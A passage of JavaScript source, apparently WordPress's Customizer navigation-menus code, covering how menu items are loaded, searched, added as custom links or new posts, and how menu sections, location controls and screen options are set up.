				}
				if ( items && page > 1 ) {
					wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) );
				} else if ( items && page === 1 ) {
					wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) );
				}
			});

			self.currentRequest.fail(function( data ) {
				// data.message may be undefined, for example when typing slow and the request is aborted.
				if ( data.message ) {
					$content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) );
					wp.a11y.speak( data.message );
				}
				self.pages.search = -1;
			});

			self.currentRequest.always(function() {
				$section.removeClass( 'loading loading-more' );
				$content.attr( 'aria-busy', 'false' );
				self.loading = false;
				self.currentRequest = null;
			});
		},

		// Render the individual items.
		initList: function() {
			var self = this;

			// Render the template for each item by type.
			_.each( api.Menus.data.itemTypes, function( itemType ) {
				self.pages[ itemType.type + ':' + itemType.object ] = 0;
			} );
			self.loadItems( api.Menus.data.itemTypes );
		},

		/**
		 * Load available nav menu items.
		 *
		 * @since 4.3.0
		 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object.
		 * @access private
		 *
		 * @param {Array.<Object>} itemTypes List of objects containing type and key.
		 * @param {string} deprecated Formerly the object parameter.
		 * @return {void}
		 */
		loadItems: function( itemTypes, deprecated ) {
			var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {};
			itemTemplate = wp.template( 'available-menu-item' );

			if ( _.isString( itemTypes ) && _.isString( deprecated ) ) {
				_itemTypes = [ { type: itemTypes, object: deprecated } ];
			} else {
				_itemTypes = itemTypes;
			}

			_.each( _itemTypes, function( itemType ) {
				var container, name = itemType.type + ':' + itemType.object;
				if ( -1 === self.pages[ name ] ) {
					return; // Skip types for which there are no more results.
				}
				container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object );
				container.find( '.accordion-section-title' ).addClass( 'loading' );
				availableMenuItemContainers[ name ] = container;

				requestItemTypes.push( {
					object: itemType.object,
					type: itemType.type,
					page: self.pages[ name ]
				} );
			} );

			if ( 0 === requestItemTypes.length ) {
				return;
			}

			self.loading = true;

			params = api.previewer.query( { excludeCustomizedSaved: true } );
			_.extend( params, {
				'customize-menus-nonce': api.settings.nonce['customize-menus'],
				'wp_customize': 'on',
				'item_types': requestItemTypes
			} );

			request = wp.ajax.post( 'load-available-menu-items-customizer', params );

			request.done(function( data ) {
				var typeInner;
				_.each( data.items, function( typeItems, name ) {
					if ( 0 === typeItems.length ) {
						if ( 0 === self.pages[ name ] ) {
							availableMenuItemContainers[ name ].find( '.accordion-section-title' )
								.addClass( 'cannot-expand' )
								.removeClass( 'loading' )
								.find( '.accordion-section-title > button' )
								.prop( 'tabIndex', -1 );
						}
						self.pages[ name ] = -1;
						return;
					} else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) {
						availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' );
					}
					typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away?
					self.collection.add( typeItems.models );
					typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' );
					typeItems.each( function( menuItem ) {
						typeInner.append( itemTemplate( menuItem.attributes ) );
					} );
					self.pages[ name ] += 1;
				});
			});
			request.fail(function( data ) {
				if ( typeof console !== 'undefined' && console.error ) {
					console.error( data );
				}
			});
			request.always(function() {
				_.each( availableMenuItemContainers, function( container ) {
					container.find( '.accordion-section-title' ).removeClass( 'loading' );
				} );
				self.loading = false;
			});
		},

		// Adjust the height of each section of items to fit the screen.
		itemSectionHeight: function() {
			var sections, lists, totalHeight, accordionHeight, diff;
			totalHeight = window.innerHeight;
			sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' );
			lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' );
			accordionHeight =  46 * ( 1 + sections.length ) + 14; // Magic numbers.
			diff = totalHeight - accordionHeight;
			if ( 120 < diff && 290 > diff ) {
				sections.css( 'max-height', diff );
				lists.css( 'max-height', ( diff - 60 ) );
			}
		},

		// Highlights a menu item.
		select: function( menuitemTpl ) {
			this.selected = $( menuitemTpl );
			this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' );
			this.selected.addClass( 'selected' );
		},

		// Highlights a menu item on focus.
		focus: function( event ) {
			this.select( $( event.currentTarget ) );
		},

		// Submit handler for keypress and click on menu item.
		_submit: function( event ) {
			// Only proceed with keypress if it is Enter or Spacebar.
			if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) {
				return;
			}

			this.submit( $( event.currentTarget ) );
		},

		// Adds a selected menu item to the menu.
		submit: function( menuitemTpl ) {
			var menuitemId, menu_item;

			if ( ! menuitemTpl ) {
				menuitemTpl = this.selected;
			}

			if ( ! menuitemTpl || ! this.currentMenuControl ) {
				return;
			}

			this.select( menuitemTpl );

			menuitemId = $( this.selected ).data( 'menu-item-id' );
			menu_item = this.collection.findWhere( { id: menuitemId } );
			if ( ! menu_item ) {
				return;
			}

			this.currentMenuControl.addItemToMenu( menu_item.attributes );

			$( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' );
		},

		// Submit handler for keypress and click on custom menu item.
		_submitLink: function( event ) {
			// Only proceed with keypress if it is Enter.
			if ( 'keypress' === event.type && 13 !== event.which ) {
				return;
			}

			this.submitLink();
		},

		// Adds the custom menu item to the menu.
		submitLink: function() {
			var menuItem,
				itemName = $( '#custom-menu-item-name' ),
				itemUrl = $( '#custom-menu-item-url' ),
				url = itemUrl.val().trim(),
				urlRegex;

			if ( ! this.currentMenuControl ) {
				return;
			}

			/*
			 * Allow URLs including:
			 * - http://example.com/
			 * - //example.com
			 * - /directory/
			 * - ?query-param
			 * - #target
			 * - mailto:foo@example.com
			 *
			 * Any further validation will be handled on the server when the setting is attempted to be saved,
			 * so this pattern does not need to be complete.
			 */
			urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;

			if ( '' === itemName.val() ) {
				itemName.addClass( 'invalid' );
				return;
			} else if ( ! urlRegex.test( url ) ) {
				itemUrl.addClass( 'invalid' );
				return;
			}

			menuItem = {
				'title': itemName.val(),
				'url': url,
				'type': 'custom',
				'type_label': api.Menus.data.l10n.custom_label,
				'object': 'custom'
			};

			this.currentMenuControl.addItemToMenu( menuItem );

			// Reset the custom link form.
			itemUrl.val( '' ).attr( 'placeholder', 'https://' );
			itemName.val( '' );
		},

		/**
		 * Submit handler for keypress (enter) on field and click on button.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {jQuery.Event} event Event.
		 * @return {void}
		 */
		_submitNew: function( event ) {
			var container;

			// Only proceed with keypress if it is Enter.
			if ( 'keypress' === event.type && 13 !== event.which ) {
				return;
			}

			if ( this.addingNew ) {
				return;
			}

			container = $( event.target ).closest( '.accordion-section' );

			this.submitNew( container );
		},

		/**
		 * Creates a new object and adds an associated menu item to the menu.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {jQuery} container
		 * @return {void}
		 */
		submitNew: function( container ) {
			var panel = this,
				itemName = container.find( '.create-item-input' ),
				title = itemName.val(),
				dataContainer = container.find( '.available-menu-items-list' ),
				itemType = dataContainer.data( 'type' ),
				itemObject = dataContainer.data( 'object' ),
				itemTypeLabel = dataContainer.data( 'type_label' ),
				promise;

			if ( ! this.currentMenuControl ) {
				return;
			}

			// Only posts are supported currently.
			if ( 'post_type' !== itemType ) {
				return;
			}

			if ( '' === itemName.val().trim() ) {
				itemName.addClass( 'invalid' );
				itemName.focus();
				return;
			} else {
				itemName.removeClass( 'invalid' );
				container.find( '.accordion-section-title' ).addClass( 'loading' );
			}

			panel.addingNew = true;
			itemName.attr( 'disabled', 'disabled' );
			promise = api.Menus.insertAutoDraftPost( {
				post_title: title,
				post_type: itemObject
			} );
			promise.done( function( data ) {
				var availableItem, $content, itemElement;
				availableItem = new api.Menus.AvailableItemModel( {
					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
					'title': itemName.val(),
					'type': itemType,
					'type_label': itemTypeLabel,
					'object': itemObject,
					'object_id': data.post_id,
					'url': data.url
				} );

				// Add new item to menu.
				panel.currentMenuControl.addItemToMenu( availableItem.attributes );

				// Add the new item to the list of available items.
				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
				$content = container.find( '.available-menu-items-list' );
				itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) );
				itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' );
				$content.prepend( itemElement );
				$content.scrollTop();

				// Reset the create content form.
				itemName.val( '' ).removeAttr( 'disabled' );
				panel.addingNew = false;
				container.find( '.accordion-section-title' ).removeClass( 'loading' );
			} );
		},

		// Opens the panel.
		open: function( menuControl ) {
			var panel = this, close;

			this.currentMenuControl = menuControl;

			this.itemSectionHeight();

			if ( api.section.has( 'publish_settings' ) ) {
				api.section( 'publish_settings' ).collapse();
			}

			$( 'body' ).addClass( 'adding-menu-items' );

			close = function() {
				panel.close();
				$( this ).off( 'click', close );
			};
			$( '#customize-preview' ).on( 'click', close );

			// Collapse all controls.
			_( this.currentMenuControl.getMenuItemControls() ).each( function( control ) {
				control.collapseForm();
			} );

			this.$el.find( '.selected' ).removeClass( 'selected' );

			this.$search.trigger( 'focus' );
		},

		// Closes the panel.
		close: function( options ) {
			options = options || {};

			if ( options.returnFocus && this.currentMenuControl ) {
				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
			}

			this.currentMenuControl = null;
			this.selected = null;

			$( 'body' ).removeClass( 'adding-menu-items' );
			$( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' );

			this.$search.val( '' ).trigger( 'input' );
		},

		// Add a few keyboard enhancements to the panel.
		keyboardAccessible: function( event ) {
			var isEnter = ( 13 === event.which ),
				isEsc = ( 27 === event.which ),
				isBackTab = ( 9 === event.which && event.shiftKey ),
				isSearchFocused = $( event.target ).is( this.$search );

			// If enter pressed but nothing entered, don't do anything.
			if ( isEnter && ! this.$search.val() ) {
				return;
			}

			if ( isSearchFocused && isBackTab ) {
				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
				event.preventDefault(); // Avoid additional back-tab.
			} else if ( isEsc ) {
				this.close( { returnFocus: true } );
			}
		}
	});

	/**
	 * wp.customize.Menus.MenusPanel
	 *
	 * Customizer panel for menus. This is used only for screen options management.
	 * Note that 'menus' must match the WP_Customize_Menu_Panel::$type.
	 *
	 * @class    wp.customize.Menus.MenusPanel
	 * @augments wp.customize.Panel
	 */
	api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{

		attachEvents: function() {
			api.Panel.prototype.attachEvents.call( this );

			var panel = this,
				panelMeta = panel.container.find( '.panel-meta' ),
				help = panelMeta.find( '.customize-help-toggle' ),
				content = panelMeta.find( '.customize-panel-description' ),
				options = $( '#screen-options-wrap' ),
				button = panelMeta.find( '.customize-screen-options-toggle' );
			button.on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault();

				// Hide description.
				if ( content.not( ':hidden' ) ) {
					content.slideUp( 'fast' );
					help.attr( 'aria-expanded', 'false' );
				}

				if ( 'true' === button.attr( 'aria-expanded' ) ) {
					button.attr( 'aria-expanded', 'false' );
					panelMeta.removeClass( 'open' );
					panelMeta.removeClass( 'active-menu-screen-options' );
					options.slideUp( 'fast' );
				} else {
					button.attr( 'aria-expanded', 'true' );
					panelMeta.addClass( 'open' );
					panelMeta.addClass( 'active-menu-screen-options' );
					options.slideDown( 'fast' );
				}

				return false;
			} );

			// Help toggle.
			help.on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault();

				if ( 'true' === button.attr( 'aria-expanded' ) ) {
					button.attr( 'aria-expanded', 'false' );
					help.attr( 'aria-expanded', 'true' );
					panelMeta.addClass( 'open' );
					panelMeta.removeClass( 'active-menu-screen-options' );
					options.slideUp( 'fast' );
					content.slideDown( 'fast' );
				}
			} );
		},

		/**
		 * Update field visibility when clicking on the field toggles.
		 */
		ready: function() {
			var panel = this;
			panel.container.find( '.hide-column-tog' ).on( 'click', function() {
				panel.saveManageColumnsState();
			});

			// Inject additional heading into the menu locations section's head container.
			api.section( 'menu_locations', function( section ) {
				section.headContainer.prepend(
					wp.template( 'nav-menu-locations-header' )( api.Menus.data )
				);
			} );
		},

		/**
		 * Save hidden column states.
		 *
		 * @since 4.3.0
		 * @private
		 *
		 * @return {void}
		 */
		saveManageColumnsState: _.debounce( function() {
			var panel = this;
			if ( panel._updateHiddenColumnsRequest ) {
				panel._updateHiddenColumnsRequest.abort();
			}

			panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', {
				hidden: panel.hidden(),
				screenoptionnonce: $( '#screenoptionnonce' ).val(),
				page: 'nav-menus'
			} );
			panel._updateHiddenColumnsRequest.always( function() {
				panel._updateHiddenColumnsRequest = null;
			} );
		}, 2000 ),

		/**
		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
		 */
		checked: function() {},

		/**
		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
		 */
		unchecked: function() {},

		/**
		 * Get hidden fields.
		 *
		 * @since 4.3.0
		 * @private
		 *
		 * @return {Array} Fields (columns) that are hidden.
		 */
		hidden: function() {
			return $( '.hide-column-tog' ).not( ':checked' ).map( function() {
				var id = this.id;
				return id.substring( 0, id.length - 5 );
			}).get().join( ',' );
		}
	} );

	/**
	 * wp.customize.Menus.MenuSection
	 *
	 * Customizer section for menus. This is used only for lazy-loading child controls.
	 * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type.
	 *
	 * @class    wp.customize.Menus.MenuSection
	 * @augments wp.customize.Section
	 */
	api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.3.0
		 *
		 * @param {string} id
		 * @param {Object} options
		 */
		initialize: function( id, options ) {
			var section = this;
			api.Section.prototype.initialize.call( section, id, options );
			section.deferred.initSortables = $.Deferred();
		},

		/**
		 * Ready.
		 */
		ready: function() {
			var section = this, fieldActiveToggles, handleFieldActiveToggle;

			if ( 'undefined' === typeof section.params.menu_id ) {
				throw new Error( 'params.menu_id was not defined' );
			}

			/*
			 * Since newly created sections won't be registered in PHP, we need to prevent the
			 * preview's sending of the activeSections to result in this control
			 * being deactivated when the preview refreshes. So we can hook onto
			 * the setting that has the same ID and its presence can dictate
			 * whether the section is active.
			 */
			section.active.validate = function() {
				if ( ! api.has( section.id ) ) {
					return false;
				}
				return !! api( section.id ).get();
			};

			section.populateControls();

			section.navMenuLocationSettings = {};
			section.assignedLocations = new api.Value( [] );

			api.each(function( setting, id ) {
				var matches = id.match( /^nav_menu_locations\[(.+?)]/ );
				if ( matches ) {
					section.navMenuLocationSettings[ matches[1] ] = setting;
					setting.bind( function() {
						section.refreshAssignedLocations();
					});
				}
			});

			section.assignedLocations.bind(function( to ) {
				section.updateAssignedLocationsInSectionTitle( to );
			});

			section.refreshAssignedLocations();

			api.bind( 'pane-contents-reflowed', function() {
				// Skip menus that have been removed.
				if ( ! section.contentContainer.parent().length ) {
					return;
				}
				section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' });
				section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
			} );

			/**
			 * Update the active field class for the content container for a given checkbox toggle.
			 *
			 * @this {jQuery}
			 * @return {void}
			 */
			handleFieldActiveToggle = function() {
				var className = 'field-' + $( this ).val() + '-active';
				section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) );
			};
			fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' );
			fieldActiveToggles.each( handleFieldActiveToggle );
			fieldActiveToggles.on( 'click', handleFieldActiveToggle );
		},

		populateControls: function() {
			var section = this,
				menuNameControlId,
				menuLocationsControlId,
				menuAutoAddControlId,
				menuDeleteControlId,
				menuControl,
				menuNameControl,
				menuLocationsControl,
				menuAutoAddControl,
				menuDeleteControl;

			// Add the control for managing the menu name.
			menuNameControlId = section.id + '[name]';
			menuNameControl = api.control( menuNameControlId );
			if ( ! menuNameControl ) {
				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
					type: 'nav_menu_name',
					label: api.Menus.data.l10n.menuNameLabel,
					section: section.id,
					priority: 0,
					settings: {
						'default': section.id
					}
				} );
				api.control.add( menuNameControl );
				menuNameControl.active.set( true );
			}

			// Add the menu control.
			menuControl = api.control( section.id );
			if ( ! menuControl ) {
				menuControl = new api.controlConstructor.nav_menu( section.id, {
					type: 'nav_menu',
					section: section.id,
					priority: 998,
					settings: {
						'default': section.id
					},
					menu_id: section.params.menu_id
				} );
				api.control.add( menuControl );
				menuControl.active.set( true );
			}

			// Add the menu locations control.
			menuLocationsControlId = section.id + '[locations]';
			menuLocationsControl = api.control( menuLocationsControlId );
			if ( ! menuLocationsControl ) {
				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
					section: section.id,
					priority: 999,
					settings: {
						'default': section.id
					},
					menu_id: section.params.menu_id
				} );
				api.control.add( menuLocationsControl.id, menuLocationsControl );
				menuControl.active.set( true );
			}

			// Add the control for managing the menu auto_add.
			menuAutoAddControlId = section.id + '[auto_add]';
			menuAutoAddControl = api.control( menuAutoAddControlId );
			if ( ! menuAutoAddControl ) {
				menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, {
					type: 'nav_menu_auto_add',
					label: '',
					section: section.id,
					priority: 1000,
					settings: {
						'default': section.id
					}
				} );
				api.control.add( menuAutoAddControl );
				menuAutoAddControl.active.set( true );
			}

			// Add the control for deleting the menu.
			menuDeleteControlId = section.id + '[delete]';
			menuDeleteControl = api.control( menuDeleteControlId );
			if ( ! menuDeleteControl ) {
				menuDeleteControl = new api.Control( menuDeleteControlId, {
					section: section.id,
					priority: 1001,
					templateId: 'nav-menu-delete-button'
				} );
				api.control.add( menuDeleteControl.id, menuDeleteControl );
				menuDeleteControl.active.set( true );
				menuDeleteControl.deferred.embedded.done( function () {
					menuDeleteControl.container.find( 'button' ).on( 'click', function() {
						var menuId = section.params.menu_id;
						var menuControl = api.Menus.getMenuControl( menuId );
						menuControl.setting.set( false );
					});
				} );
			}
		},

		/**
		 *
		 */
		refreshAssignedLocations: function() {
			var section = this,
				menuTermId = section.params.menu_id,
				currentAssignedLocations = [];
			_.each( section.navMenuLocationSettings, function( setting, themeLocation ) {
				if ( setting() === menuTermId ) {
					currentAssignedLocations.push( themeLocation );
				}
			});
			section.assignedLocations.set( currentAssignedLocations );
		},

		/**
		 * @param {Array} themeLocationSlugs Theme location slugs.
		 */
		updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) {
			var section = this,
				$title;

			$title = section.container.find( '.accordion-section-title:first' );
			$title.find( '.menu-in-location' ).remove();
			_.each( themeLocationSlugs, function( themeLocationSlug ) {
				var $label, locationName;
				$label = $( '<span class="menu-in-location"></span>' );
				locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ];
				$label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) );
				$title.append( $label );
			});

			section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length );

		},

		onChangeExpanded: function( expanded, args ) {
			var section = this, completeCallback;

			if ( expanded ) {
				wpNavMenu.menuList = section.contentContainer;
				wpNavMenu.targetList = wpNavMenu.menuList;

				// Add attributes needed by wpNavMenu.
				$( '#menu-to-edit' ).removeAttr( 'id' );
				wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' );

				_.each( api.section( section.id ).controls(), function( control ) {
					if ( 'nav_menu_item' === control.params.type ) {
						control.actuallyEmbed();
					}
				} );

				// Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues.
				if ( args.completeCallback ) {
					completeCallback = args.completeCallback;
				}
				args.completeCallback = function() {
					if ( 'resolved' !== section.deferred.initSortables.state() ) {
						wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above.
						section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable.

						// @todo Note that wp.customize.reflowPaneContents() is debounced,
						// so this immediate change will show a slight flicker while priorities get updated.
						api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems();
					}
					if ( _.isFunction( completeCallback ) ) {
						completeCallback();
					}
				};
			}
			api.Section.prototype.onChangeExpanded.call( section, expanded, args );
		},

		/**
		 * Highlight how a user may create new menu items.
		 *
		 * This method reminds the user to create new menu items and how.
		 * It's exposed this way because this class knows best which UI needs
		 * highlighted but those expanding this section know more about why and
		 * when the affordance should be highlighted.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		highlightNewItemButton: function() {
			api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } );
		}
	});

	/**
	 * Create a nav menu setting and section.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} [name=''] Nav menu name.
	 * @return {wp.customize.Menus.MenuSection} Added nav menu.
	 */
	api.Menus.createNavMenu = function createNavMenu( name ) {
		var customizeId, placeholderId, setting;
		placeholderId = api.Menus.generatePlaceholderAutoIncrementId();

		customizeId = 'nav_menu[' + String( placeholderId ) + ']';

		// Register the menu control setting.
		setting = api.create( customizeId, customizeId, {}, {
			type: 'nav_menu',
			transport: api.Menus.data.settingTransport,
			previewer: api.previewer
		} );
		setting.set( $.extend(
			{},
			api.Menus.data.defaultSettingValues.nav_menu,
			{
				name: name || ''
			}
		) );

		/*
		 * Add the menu section (and its controls).
		 * Note that this will automatically create the required controls
		 * inside via the Section's ready method.
		 */
		return api.section.add( new api.Menus.MenuSection( customizeId, {
			panel: 'nav_menus',
			title: displayNavMenuName( name ),
			customizeAction: api.Menus.data.l10n.customizingMenus,
			priority: 10,
			menu_id: placeholderId
		} ) );
	};

	/**
	 * wp.customize.Menus.NewMenuSection
	 *
	 * Customizer section for new menus.
	 *
	 * @class    wp.customize.Menus.NewMenuSection
	 * @augments wp.customize.Section
	 */
	api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{

		/**
		 * Add behaviors for the accordion section.
		 *
		 * @since 4.3.0
		 */
		attachEvents: function() {
			var section = this,
				container = section.container,
				contentContainer = section.contentContainer,
				navMenuSettingPattern = /^nav_menu\[/;

			section.headContainer.find( '.accordion-section-title' ).replaceWith(
				wp.template( 'nav-menu-create-menu-section-title' )
			);

			/*
			 * We have to manually handle section expanded because we do not
			 * apply the `accordion-section-title` class to this button-driven section.
			 */
			container.on( 'click', '.customize-add-menu-button', function() {
				section.expand();
			});

			contentContainer.on( 'keydown', '.menu-name-field', function( event ) {
				if ( 13 === event.which ) { // Enter.
					section.submit();
				}
			} );
			contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) {
				section.submit();
				event.stopPropagation();
				event.preventDefault();
			} );

			/**
			 * Get number of non-deleted nav menus.
			 *
			 * @since 4.9.0
			 * @return {number} Count.
			 */
			function getNavMenuCount() {
				var count = 0;
				api.each( function( setting ) {
					if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) {
						count += 1;
					}
				} );
				return count;
			}

			/**
			 * Update visibility of notice to prompt users to create menus.
			 *
			 * @since 4.9.0
			 * @return {void}
			 */
			function updateNoticeVisibility() {
				container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 );
			}

			/**
			 * Handle setting addition.
			 *
			 * @since 4.9.0
			 * @param {wp.customize.Setting} setting - Added setting.
			 * @return {void}
			 */
			function addChangeEventListener( setting ) {
				if ( navMenuSettingPattern.test( setting.id ) ) {
					setting.bind( updateNoticeVisibility );
					updateNoticeVisibility();
				}
			}

			/**
			 * Handle setting removal.
			 *
			 * @since 4.9.0
			 * @param {wp.customize.Setting} setting - Removed setting.
			 * @return {void}
			 */
			function removeChangeEventListener( setting ) {
				if ( navMenuSettingPattern.test( setting.id ) ) {
					setting.unbind( updateNoticeVisibility );
					updateNoticeVisibility();
				}
			}

			api.each( addChangeEventListener );
			api.bind( 'add', addChangeEventListener );
			api.bind( 'removed', removeChangeEventListener );
			updateNoticeVisibility();

			api.Section.prototype.attachEvents.apply( section, arguments );
		},

		/**
		 * Set up the control.
		 *
		 * @since 4.9.0
		 */
		ready: function() {
			this.populateControls();
		},

		/**
		 * Create the controls for this section.
		 *
		 * @since 4.9.0
		 */
		populateControls: function() {
			var section = this,
				menuNameControlId,
				menuLocationsControlId,
				newMenuSubmitControlId,
				menuNameControl,
				menuLocationsControl,
				newMenuSubmitControl;

			menuNameControlId = section.id + '[name]';
			menuNameControl = api.control( menuNameControlId );
			if ( ! menuNameControl ) {
				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
					label: api.Menus.data.l10n.menuNameLabel,
					description: api.Menus.data.l10n.newMenuNameDescription,
					section: section.id,
					priority: 0
				} );
				api.control.add( menuNameControl.id, menuNameControl );
				menuNameControl.active.set( true );
			}

			menuLocationsControlId = section.id + '[locations]';
			menuLocationsControl = api.control( menuLocationsControlId );
			if ( ! menuLocationsControl ) {
				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
					section: section.id,
					priority: 1,
					menu_id: '',
					isCreating: true
				} );
				api.control.add( menuLocationsControlId, menuLocationsControl );
				menuLocationsControl.active.set( true );
			}

			newMenuSubmitControlId = section.id + '[submit]';
			newMenuSubmitControl = api.control( newMenuSubmitControlId );
			if ( !newMenuSubmitControl ) {
				newMenuSubmitControl = new api.Control( newMenuSubmitControlId, {
					section: section.id,
					priority: 1,
					templateId: 'nav-menu-submit-new-button'
				} );
				api.control.add( newMenuSubmitControlId, newMenuSubmitControl );
				newMenuSubmitControl.active.set( true );
			}
		},

		/**
		 * Create the new menu with name and location supplied by the user.
		 *
		 * @since 4.9.0
		 */
		submit: function() {
			var section = this,
				contentContainer = section.contentContainer,
				nameInput = contentContainer.find( '.menu-name-field' ).first(),
				name = nameInput.val(),
				menuSection;

			if ( ! name ) {
				nameInput.addClass( 'invalid' );
				nameInput.focus();
				return;
			}

			menuSection = api.Menus.createNavMenu( name );

			// Clear name field.
			nameInput.val( '' );
			nameInput.removeClass( 'invalid' );

			contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() {
				var checkbox = $( this ),
				navMenuLocationSetting;

				if ( checkbox.prop( 'checked' ) ) {
					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' );
					navMenuLocationSetting.set( menuSection.params.menu_id );

					// Reset state for next new menu.
					checkbox.prop( 'checked', false );
				}
			} );

			wp.a11y.speak( api.Menus.data.l10n.menuAdded );

			// Focus on the new menu section.
			menuSection.focus( {
				completeCallback: function() {
					menuSection.highlightNewItemButton();
				}
			} );
		},

		/**
		 * Select a default location.
		 *
		 * This method selects a single location by default so we can support
		 * creating a menu for a specific menu location.
		 *
		 * @since 4.9.0
		 *
		 * @param {string|null} locationId - The ID of the location to select. `null` clears all selections.
		 * @return {void}
		 */
		selectDefaultLocation: function( locationId ) {
			var locationControl = api.control( this.id + '[locations]' ),
				locationSelections = {};

			if ( locationId !== null ) {
				locationSelections[ locationId ] = true;
			}

			locationControl.setSelections( locationSelections );
		}
	});

	/**
	 * wp.customize.Menus.MenuLocationControl
	 *
	 * Customizer control for menu locations (rendered as a <select>).
	 * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type.
	 *
	 * @class    wp.customize.Menus.MenuLocationControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{
		initialize: function( id, options ) {
			var control = this,
				matches = id.match( /^nav_menu_locations\[(.+?)]/ );
			control.themeLocation = matches[1];
			api.Control.prototype.initialize.call( control, id, options );
		},

		ready: function() {
			var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/;

			// @todo It would be better if this was added directly on the setting itself, as opposed to the control.
			control.setting.validate = function( value ) {
				if ( '' === value ) {
					return 0;
				} else {
					return parseInt( value, 10 );
				}
			};

			// Create and Edit menu buttons.
			control.container.find( '.create-menu' ).on( 'click', function() {
				var addMenuSection = api.section( 'add_menu' );
				addMenuSection.selectDefaultLocation( this.dataset.locationId );
				addMenuSection.focus();
			} );
			control.container.find( '.edit-menu' ).on( 'click', function() {
				var menuId = control.setting();
				api.section( 'nav_menu[' + menuId + ']' ).focus();
			});
			control.setting.bind( 'change', function() {
				var menuIsSelected = 0 !== control.setting();
				control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected );
				control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected );
			});

			// Add/remove menus from the available options when they are added and removed.
			api.bind( 'add', function( setting ) {
				var option, menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches || false === setting() ) {
					return;
				}
				menuId = matches[1];
				option = new Option( displayNavMenuName( setting().name ), menuId );
				control.container.find( 'select' ).append( option );
			});
			api.bind( 'remove', function( setting ) {
				var menuId, matches = setting.id.match( navMenuIdRegex );
